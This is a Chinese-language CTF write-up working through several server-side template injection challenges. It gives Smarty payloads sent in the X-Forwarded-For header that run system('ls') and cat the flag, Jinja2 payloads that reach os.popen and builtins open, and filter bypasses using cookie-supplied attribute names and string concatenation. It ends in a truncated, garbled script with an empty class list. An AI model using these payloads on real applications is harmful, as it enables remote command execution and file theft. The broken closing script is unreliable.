学习ctf也有两个学期了,趁现在有时间,速速学习SSTI模板注入
打开题目
发现为SSTI的Smarty
提示为XFF
先判断,发现成功
添加XFF,查看一下根目录
X-Forwarded-For:{if system('ls')}{/if}
cat一下,得到flag
由于还不知道是什么模板,我们先试试扫下目录
访问下./composer.json
,发现是smarty模板注入
{if system('cat /f*')}{/if}
直接得到flag
?name={{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}
提示ssti模板注入,参数为name
fuzz测试一下,黑名单如下(大概
1 '
2 "
3 _
4 args -- 无法使用 request.args
5 os -- 无法导入os
不允许post -- 无法使用 request.value
payload
{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}
这里我们使用request.cookies构造
payload
?name={{self[request.cookies.c][request.cookies.d][request.cookies.e][request.cookies.f][request.cookies.g].open(request.cookies.z).read()}}
cookie:c=__dict__;d=_TemplateReference__context;e=lipsum;f=__globals__;g=__builtins__;z=flag
得到flag
打开题目,直接试试万能{{7*7}}
发现存在SSTI注入
我们试试./{{''.__class__.}}
发现被过滤了
这里用字符串拼接绕过
{{''['__cla''ss__']}}
{{()['__cla''ss__'].__bases__[0]['__subcl''asses__']()}}
我们寻找
的位置
祖传找下标的脚本
import json
classes="""
[, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,